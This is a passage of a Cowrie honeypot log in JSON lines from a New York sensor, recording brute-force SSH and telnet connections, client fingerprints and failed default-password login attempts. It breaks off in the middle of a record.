{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":3091,"dst_ip":"10.17.0.5","dst_port":23,"session":"66f813feb455","protocol":"telnet","message":"New connection: 212.55.149.117:3091 (10.17.0.5:23) [session: 66f813feb455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:08:29.531247Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":57246,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bec312b88df","protocol":"ssh","message":"New connection: 50.225.176.238:57246 (10.17.0.5:22) [session: 1bec312b88df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:08:30.458360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:08:30.463524Z","src_ip":"50.225.176.238","session":"1bec312b88df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:08:30.479409Z","src_ip":"50.225.176.238","session":"1bec312b88df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminroot123","message":"login attempt [root/adminroot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:08:30.558941Z","src_ip":"50.225.176.238","session":"1bec312b88df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:08:31.574296Z","src_ip":"50.225.176.238","session":"1bec312b88df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":52144,"dst_ip":"159.203.135.109","dst_port":22,"session":"66c217b3ff80","protocol":"ssh","message":"New connection: 20.82.144.240:52144 (159.203.135.109:22) [session: 66c217b3ff80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:09:12.937379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:09:13.218349Z","src_ip":"20.82.144.240","session":"66c217b3ff80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:09:13.282288Z","src_ip":"20.82.144.240","session":"66c217b3ff80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Abc123","message":"login attempt [admin/Abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:09:13.588006Z","src_ip":"20.82.144.240","session":"66c217b3ff80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:09:14.659353Z","src_ip":"20.82.144.240","session":"66c217b3ff80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":56934,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbd66657e020","protocol":"ssh","message":"New connection: 50.225.176.238:56934 (10.17.0.5:22) [session: fbd66657e020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:09:21.679794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:09:21.684857Z","src_ip":"50.225.176.238","session":"fbd66657e020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:09:21.697091Z","src_ip":"50.225.176.238","session":"fbd66657e020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@123","message":"login attempt [ubuntu/Ubuntu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:09:21.784629Z","src_ip":"50.225.176.238","session":"fbd66657e020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:09:22.799894Z","src_ip":"50.225.176.238","session":"fbd66657e020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.266101360321045,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:09:29.797214Z","src_ip":"212.55.149.117","session":"66f813feb455","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":53818,"dst_ip":"10.17.0.5","dst_port":23,"session":"e506526b5c73","protocol":"telnet","message":"New connection: 180.235.129.180:53818 (10.17.0.5:23) [session: e506526b5c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:09:48.246955Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":56234,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8359971c531","protocol":"ssh","message":"New connection: 50.225.176.238:56234 (10.17.0.5:22) [session: c8359971c531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:10:09.454897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:10:09.459954Z","src_ip":"50.225.176.238","session":"c8359971c531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:10:09.474557Z","src_ip":"50.225.176.238","session":"c8359971c531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!@#test!@#","message":"login attempt [test/!@#test!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:10:09.553966Z","src_ip":"50.225.176.238","session":"c8359971c531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:10:10.569674Z","src_ip":"50.225.176.238","session":"c8359971c531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:10:13.106160Z","src_ip":"61.155.106.101","session":"a4622de14ea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":40746,"dst_ip":"10.17.0.5","dst_port":22,"session":"04a2b386ca33","protocol":"ssh","message":"New connection: 103.15.226.202:40746 (10.17.0.5:22) [session: 04a2b386ca33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:10:13.972270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:10:13.977718Z","src_ip":"103.15.226.202","session":"04a2b386ca33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:10:14.225498Z","src_ip":"103.15.226.202","session":"04a2b386ca33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:10:14.970340Z","src_ip":"103.15.226.202","session":"04a2b386ca33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:10:16.220014Z","src_ip":"103.15.226.202","session":"04a2b386ca33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":52762,"dst_ip":"10.17.0.5","dst_port":22,"session":"171c13a911ee","protocol":"ssh","message":"New connection: 50.225.176.238:52762 (10.17.0.5:22) [session: 171c13a911ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:10:57.765009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:10:57.770257Z","src_ip":"50.225.176.238","session":"171c13a911ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:10:57.782450Z","src_ip":"50.225.176.238","session":"171c13a911ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bestserver","message":"login attempt [root/bestserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:10:57.861699Z","src_ip":"50.225.176.238","session":"171c13a911ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:10:58.877363Z","src_ip":"50.225.176.238","session":"171c13a911ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":17946,"dst_ip":"10.17.0.5","dst_port":23,"session":"38c51ca4483e","protocol":"telnet","message":"New connection: 212.55.149.117:17946 (10.17.0.5:23) [session: 38c51ca4483e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:11:38.059270Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":40778,"dst_ip":"10.17.0.5","dst_port":22,"session":"585c26b40d32","protocol":"ssh","message":"New connection: 50.225.176.238:40778 (10.17.0.5:22) [session: 585c26b40d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:11:46.661170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:11:46.670886Z","src_ip":"50.225.176.238","session":"585c26b40d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:11:46.684057Z","src_ip":"50.225.176.238","session":"585c26b40d32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"server","message":"login attempt [dev/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:11:46.762414Z","src_ip":"50.225.176.238","session":"585c26b40d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:11:47.777191Z","src_ip":"50.225.176.238","session":"585c26b40d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00135397911072,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:11:48.248034Z","src_ip":"180.235.129.180","session":"e506526b5c73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.44.247.134","src_port":58228,"dst_ip":"10.17.0.5","dst_port":22,"session":"4422e695a7fd","protocol":"ssh","message":"New connection: 142.44.247.134:58228 (10.17.0.5:22) [session: 4422e695a7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:26.781076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:26.785386Z","src_ip":"142.44.247.134","session":"4422e695a7fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh